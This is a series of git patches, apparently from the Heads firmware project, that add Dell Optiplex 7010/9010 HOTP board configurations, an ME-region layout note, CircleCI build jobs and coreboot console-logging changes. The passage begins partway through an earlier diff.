$(pwd)/blobs/xx30/IVB_BIOSAC_PRODUCTION.bin \ + $(pwd)/blobs/xx30/SNB_IVB_SINIT_20190708_PW.bin \ + $(pwd)/blobs/xx30/sch5545_ecfw.bin -$(pwd)/blobs/xx30/IVB_BIOSAC_PRODUCTION.bin: +# Make the Coreboot build depend on the required blobs +$(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: $(REQUIRED_BLOBS) + +# Rule to generate all required blobs +$(REQUIRED_BLOBS): $(pwd)/blobs/xx30/optiplex_7010_9010.sh $(pwd)/blobs/xx30 From 1d835bc6b7fd3559c304f6489e8dc9af34db0087 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 9 Oct 2024 12:58:21 -0400 Subject: [PATCH 255/619] optiplex 9010: add layout.txt used to expend ME region to match xx30 used ME, apply through ifdtool Repro notes: ./build/x86/coreboot-24.02.01/util/ifdtool/ifdtool -n blobs/optiplex_9010/layout.txt blobs/optiplex_9010/ifd.bin -O blobs/optiplex_9010/ifd.bin Signed-off-by: Thierry Laurion --- blobs/optiplex_9010/README.md | 3 +++ blobs/optiplex_9010/ifd.bin | Bin 4096 -> 4096 bytes blobs/optiplex_9010/layout.txt | 4 ++++ 3 files changed, 7 insertions(+) create mode 100644 blobs/optiplex_9010/layout.txt diff --git a/blobs/optiplex_9010/README.md b/blobs/optiplex_9010/README.md index 32967b59d..044067848 100644 --- a/blobs/optiplex_9010/README.md +++ b/blobs/optiplex_9010/README.md @@ -2,6 +2,9 @@ This blobs/optiplex_9010/ifd.bin is a configuration blob, and comes from my opti It was put in place with: python ~/me_cleaner/me_cleaner.py -S -r -t -d -O /tmp/discarded.bin -D ~/heads/blobs/optiplex_9010/ifd.bin -M /tmp/temporary_me.bin optiplex_9010-internal_backup.rom +./build/x86/coreboot-24.02.01/util/ifdtool/ifdtool -n blobs/optiplex_9010/layout.txt blobs/optiplex_9010/ifd.bin -O blobs/optiplex_9010/ifd.bin + +NOTE: We rely on blobs/optiplex_9010/layout.txt which changes the size of the ME region to match Lenovo xx30 blob used in x230 and others. ---- diff --git a/blobs/optiplex_9010/ifd.bin b/blobs/optiplex_9010/ifd.bin index d25c3822333f66c49151d4ab9dd1bdc957d2b911..89cb62e6d81d7faec5f72adab9057c2d86c77267 100644 GIT binary patch delta 25 gcmZorXi%8o!Y9k{pPQ9IhJlfRh2cN{#-Mfl08h*YJ^%m! delta 25 gcmZorXi%8o!Y9M Date: Wed, 9 Oct 2024 14:26:07 -0400 Subject: [PATCH 256/619] Optiplex boards: add HOTP variants, unify against x230-*-maximized board config formats Signed-off-by: Thierry Laurion --- .../optiplex-7010_9010-hotp-maximized.config | 93 +++++++++++++++++++ .../optiplex-7010_9010-maximized.config | 34 ++++--- ...tiplex-7010_9010_TXT-hotp-maximized.config | 93 +++++++++++++++++++ .../optiplex-7010_9010_TXT-maximized.config | 34 ++++--- 4 files changed, 232 insertions(+), 22 deletions(-) create mode 100644 boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config create mode 100644 boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config diff --git a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config new file mode 100644 index 000000000..d562e43bf --- /dev/null +++ b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config @@ -0,0 +1,93 @@ +# Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) +# +# Includes +# - Deactivated+neutered ME and expanded consequent IFD BIOS regions +# - Forged 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx30/extract.sh) +# - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set +# +# - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=5.10.5 + +CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010-maximized.config +CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y + +#Additional hardware support +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y + +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHROM=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +#Runtime tools to write to MSR +#CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=y + + +#platform locking finalization (PR0) +# This prevents SPI from being writeable outside of Heads +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y + +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n + +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y + +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +#export CONFIG_TPM2_TOOLS=y +#export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOOT_DEV="/dev/sda1" +export CONFIG_BOARD_NAME="Dell Optiplex 7010/9010 HOTP maximized" +export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" + +#Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP +BOARD_TARGETS := xx30_me_blobs + +#Include bits related to Optiplex blobs (not enabling TXT in coreboot config) +BOARD_TARGETS += optiplex_blobs + +# Generate split 4MB top / 8MB bottom ROMs +BOARD_TARGETS += split_8mb4mb diff --git a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config index f2ddca8f4..704c63eb9 100644 --- a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config +++ b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config @@ -22,6 +22,7 @@ CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y CONFIG_FLASHTOOLS=y @@ -31,15 +32,12 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y - -#platform locking finalization (PR0) -CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y - - +#Runtime tools to write to MSR +#CONFIG_MSRTOOLS=y #Remote attestation support -#TPM based requirements -export CONFIG_TPM=y +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y CONFIG_POPT=y CONFIG_QRENCODE=y CONFIG_TPMTOTP=y @@ -47,8 +45,14 @@ CONFIG_TPMTOTP=y #With/Without TPM support #CONFIG_HOTPKEY=y -#Nitrokey Storage admin tool -CONFIG_NKSTORECLI=n + +#platform locking finalization (PR0) +# This prevents SPI from being writeable outside of Heads +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y + +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n #GUI Support #Console based Whiptail support(Console based, no FB): @@ -58,10 +62,18 @@ CONFIG_NKSTORECLI=n CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -#Additional tools: +#Additional tools (tools.cpio): #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +#export CONFIG_TPM2_TOOLS=y +#export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config new file mode 100644 index 000000000..e93b9b5d1 --- /dev/null +++ b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config @@ -0,0 +1,93 @@ +# Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) +# +# Includes +# - Deactivated+neutered ME and expanded consequent IFD BIOS regions +# - Forged 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx30/extract.sh) +# - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set +# +# - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=5.10.5 + +CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010_TXT-maximized.config +CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y + +#Additional hardware support +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y + +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHROM=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +#Runtime tools to write to MSR +#CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=y + + +#platform locking finalization (PR0) +# This prevents SPI from being writeable outside of Heads +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y + +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n + +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y + +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +#export CONFIG_TPM2_TOOLS=y +#export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOOT_DEV="/dev/sda1" +export CONFIG_BOARD_NAME="Dell Optiplex 7010/9010 HOTP maximized (TXT enabled)" +export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" + +#Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP +BOARD_TARGETS := xx30_me_blobs + +#Include bits related to Optiplex blobs (enabling TXT in coreboot config) +BOARD_TARGETS += optiplex_blobs + +# Generate split 4MB top / 8MB bottom ROMs +BOARD_TARGETS += split_8mb4mb diff --git a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config index b2de24b4b..3729eeadf 100644 --- a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config +++ b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config @@ -22,6 +22,7 @@ CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y CONFIG_FLASHTOOLS=y @@ -31,15 +32,12 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y - -#platform locking finalization (PR0) -CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y - - +#Runtime tools to write to MSR +#CONFIG_MSRTOOLS=y #Remote attestation support -#TPM based requirements -export CONFIG_TPM=y +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y CONFIG_POPT=y CONFIG_QRENCODE=y CONFIG_TPMTOTP=y @@ -47,8 +45,14 @@ CONFIG_TPMTOTP=y #With/Without TPM support #CONFIG_HOTPKEY=y -#Nitrokey Storage admin tool -CONFIG_NKSTORECLI=n + +#platform locking finalization (PR0) +# This prevents SPI from being writeable outside of Heads +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y + +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n #GUI Support #Console based Whiptail support(Console based, no FB): @@ -58,10 +62,18 @@ CONFIG_NKSTORECLI=n CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -#Additional tools: +#Additional tools (tools.cpio): #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +#export CONFIG_TPM2_TOOLS=y +#export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n From 90daec1e97eec6205e720f40689cea4d00a38e15 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 9 Oct 2024 14:27:12 -0400 Subject: [PATCH 257/619] CircleCI: add HOTP variants, add optiplex blobs script execution so blobs are part of CircleCI cache (cleaning cache prior of push of this commit) Signed-off-by: Thierry Laurion --- .circleci/config.yml | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/.circleci/config.yml b/.circleci/config.yml index 0d1be51aa..05d9633fc 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -87,6 +87,10 @@ jobs: name: Download and neuter xx20 ME (keep generated GBE and extracted IFD in tree) command: | ./blobs/xx20/download_parse_me.sh + - run: + name: Download Optiplex 7010/9010 blobs + command: | + ./blobs/xx30/optiplex_7010_9010.sh ./blobs/xx30 - run: # me_cleaner.py present under heads xx30 blobs dir comes from https://github.com/corna/me_cleaner/blob/43612a630c79f3bc6f2653bfe90dfe0b7b137e08/me_cleaner.py name: Download and neuter xx30 ME (keep generated GBE and extracted IFD in tree) @@ -356,6 +360,13 @@ workflows: requires: - x230-hotp-maximized + - build: + name: optiplex-7010_9010-hotp-maximized + target: optiplex-7010_9010-hotp-maximized + subcommand: "" + requires: + - x230-hotp-maximized + - build: name: optiplex-7010_9010_TXT-maximized target: optiplex-7010_9010_TXT-maximized @@ -363,6 +374,13 @@ workflows: requires: - x230-hotp-maximized + - build: + name: optiplex-7010_9010_TXT-hotp-maximized + target: optiplex-7010_9010_TXT-hotp-maximized + subcommand: "" + requires: + - x230-hotp-maximized + - build: name: x230-maximized-fhd_edp target: x230-maximized-fhd_edp From fc055b91bce904c8c3a767f7d5ba767ed3cb3fc8 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 11 Oct 2024 18:52:47 -0400 Subject: [PATCH 258/619] coreboot configs: remove coreboot serial console output logging (slows down boot outside of debugging use case) Signed-off-by: Thierry Laurion --- ...reboot-optiplex-7019_9010-maximized.config | 23 ++----------------- ...ot-optiplex-7019_9010_TXT-maximized.config | 23 ++----------------- 2 files changed, 4 insertions(+), 42 deletions(-) diff --git a/config/coreboot-optiplex-7019_9010-maximized.config b/config/coreboot-optiplex-7019_9010-maximized.config index 4c7b7a88f..7e07d9028 100644 --- a/config/coreboot-optiplex-7019_9010-maximized.config +++ b/config/coreboot-optiplex-7019_9010-maximized.config @@ -116,14 +116,13 @@ CONFIG_FMDFILE="" # CONFIG_NO_POST is not set CONFIG_MAINBOARD_VENDOR="Dell Inc." CONFIG_CBFS_SIZE=0xBE4FFF -CONFIG_CONSOLE_SERIAL=y +# CONFIG_CONSOLE_SERIAL is not set CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_POST_DEVICE=y CONFIG_POST_IO=y -CONFIG_UART_FOR_CONSOLE=0 CONFIG_DEVICETREE="variants/baseboard/devicetree.cb" # CONFIG_VBOOT is not set CONFIG_VARIANT_DIR="optiplex_9010_sff" @@ -174,7 +173,6 @@ CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -CONFIG_TTYS0_BAUD=115200 CONFIG_D3COLD_SUPPORT=y CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_L1_SUB_STATE=y @@ -544,27 +542,10 @@ CONFIG_RTC=y CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y - -# -# I/O mapped, 8250-compatible -# -CONFIG_TTYS0_BASE=0x3f8 - -# -# Serial port base address = 0x3f8 -# -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_LCS=3 # CONFIG_SPKMODEM is not set # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set diff --git a/config/coreboot-optiplex-7019_9010_TXT-maximized.config b/config/coreboot-optiplex-7019_9010_TXT-maximized.config index b63f25e97..6f2d4fd4a 100644 --- a/config/coreboot-optiplex-7019_9010_TXT-maximized.config +++ b/config/coreboot-optiplex-7019_9010_TXT-maximized.config @@ -116,14 +116,13 @@ CONFIG_FMDFILE="" # CONFIG_NO_POST is not set CONFIG_MAINBOARD_VENDOR="Dell Inc." CONFIG_CBFS_SIZE=0xBE4FFF -CONFIG_CONSOLE_SERIAL=y +# CONFIG_CONSOLE_SERIAL is not set CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_POST_DEVICE=y CONFIG_POST_IO=y -CONFIG_UART_FOR_CONSOLE=0 CONFIG_DEVICETREE="variants/baseboard/devicetree.cb" # CONFIG_VBOOT is not set CONFIG_VARIANT_DIR="optiplex_9010_sff" @@ -174,7 +173,6 @@ CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -CONFIG_TTYS0_BAUD=115200 CONFIG_D3COLD_SUPPORT=y CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_L1_SUB_STATE=y @@ -558,27 +556,10 @@ CONFIG_RTC=y CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y - -# -# I/O mapped, 8250-compatible -# -CONFIG_TTYS0_BASE=0x3f8 - -# -# Serial port base address = 0x3f8 -# -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_LCS=3 # CONFIG_SPKMODEM is not set # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set From 501d7da2be91d79375dd9c447387a60b1813b42c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 14 Oct 2024 19:21:52 -0400 Subject: [PATCH 259/619] coreboot configs: remove serial coreboot console logging output instead, put console output to 7 (DEBUG) across all configs Signed-off-by: Thierry Laurion --- .../coreboot-kgpe-d16_server-whiptail.config | 9 ++---- config/coreboot-kgpe-d16_server.config | 9 ++---- ...t-kgpe-d16_workstation-usb_keyboard.config | 9 ++---- config/coreboot-kgpe-d16_workstation.config | 9 ++---- config/coreboot-librem_l1um.config | 24 ++------------ config/coreboot-p8z77-m_pro-tpm1.config | 6 ++-- .../coreboot-qemu-fbwhiptail-tpm1-hotp.config | 2 +- config/coreboot-qemu-tpm1.config | 9 +++--- config/coreboot-qemu-tpm2.config | 9 +++--- config/coreboot-t430-legacy-flash.config | 2 +- config/coreboot-t520-maximized.config | 4 +-- config/coreboot-t530-dgpu-maximized.config | 4 +-- ...coreboot-w530-dgpu-K1000m-maximized.config | 4 +-- ...coreboot-w530-dgpu-K2000m-maximized.config | 4 +-- config/coreboot-w530-maximized.config | 9 +++--- config/coreboot-x230-legacy-flash.config | 8 ++--- config/coreboot-z220-cmt.config | 32 +++---------------- 17 files changed, 50 insertions(+), 103 deletions(-) diff --git a/config/coreboot-kgpe-d16_server-whiptail.config b/config/coreboot-kgpe-d16_server-whiptail.config index 4389cb603..b4adf6542 100644 --- a/config/coreboot-kgpe-d16_server-whiptail.config +++ b/config/coreboot-kgpe-d16_server-whiptail.config @@ -3,9 +3,6 @@ # coreboot configuration # -# Viking HCL -# https://wiki.vikings.net/hardware:kgpe-d16 - # # General setup # @@ -161,7 +158,7 @@ CONFIG_DIMM_MAX=4 CONFIG_TPM_PIRQ=0x0 CONFIG_TTYS0_LCS=3 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 # CONFIG_USBDEBUG is not set CONFIG_IPMI_KCS_REGISTER_SPACING=1 CONFIG_MAINBOARD_VERSION="1.0" @@ -596,8 +593,8 @@ CONFIG_TTYS0_BAUD=115200 CONFIG_CONSOLE_CBMEM=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 # CONFIG_CONSOLE_SPI_FLASH is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set diff --git a/config/coreboot-kgpe-d16_server.config b/config/coreboot-kgpe-d16_server.config index 4095e1317..32bf907c9 100644 --- a/config/coreboot-kgpe-d16_server.config +++ b/config/coreboot-kgpe-d16_server.config @@ -3,9 +3,6 @@ # coreboot configuration # -# Viking HCL -# https://wiki.vikings.net/hardware:kgpe-d16 - # # General setup # @@ -161,7 +158,7 @@ CONFIG_DIMM_MAX=4 CONFIG_TPM_PIRQ=0x0 CONFIG_TTYS0_LCS=3 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 # CONFIG_USBDEBUG is not set CONFIG_IPMI_KCS_REGISTER_SPACING=1 CONFIG_MAINBOARD_VERSION="1.0" @@ -596,8 +593,8 @@ CONFIG_TTYS0_BAUD=115200 CONFIG_CONSOLE_CBMEM=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 # CONFIG_CONSOLE_SPI_FLASH is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set diff --git a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config index 4389cb603..b4adf6542 100644 --- a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config +++ b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config @@ -3,9 +3,6 @@ # coreboot configuration # -# Viking HCL -# https://wiki.vikings.net/hardware:kgpe-d16 - # # General setup # @@ -161,7 +158,7 @@ CONFIG_DIMM_MAX=4 CONFIG_TPM_PIRQ=0x0 CONFIG_TTYS0_LCS=3 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 # CONFIG_USBDEBUG is not set CONFIG_IPMI_KCS_REGISTER_SPACING=1 CONFIG_MAINBOARD_VERSION="1.0" @@ -596,8 +593,8 @@ CONFIG_TTYS0_BAUD=115200 CONFIG_CONSOLE_CBMEM=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 # CONFIG_CONSOLE_SPI_FLASH is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set diff --git a/config/coreboot-kgpe-d16_workstation.config b/config/coreboot-kgpe-d16_workstation.config index 4389cb603..b4adf6542 100644 --- a/config/coreboot-kgpe-d16_workstation.config +++ b/config/coreboot-kgpe-d16_workstation.config @@ -3,9 +3,6 @@ # coreboot configuration # -# Viking HCL -# https://wiki.vikings.net/hardware:kgpe-d16 - # # General setup # @@ -161,7 +158,7 @@ CONFIG_DIMM_MAX=4 CONFIG_TPM_PIRQ=0x0 CONFIG_TTYS0_LCS=3 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 # CONFIG_USBDEBUG is not set CONFIG_IPMI_KCS_REGISTER_SPACING=1 CONFIG_MAINBOARD_VERSION="1.0" @@ -596,8 +593,8 @@ CONFIG_TTYS0_BAUD=115200 CONFIG_CONSOLE_CBMEM=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 # CONFIG_CONSOLE_SPI_FLASH is not set 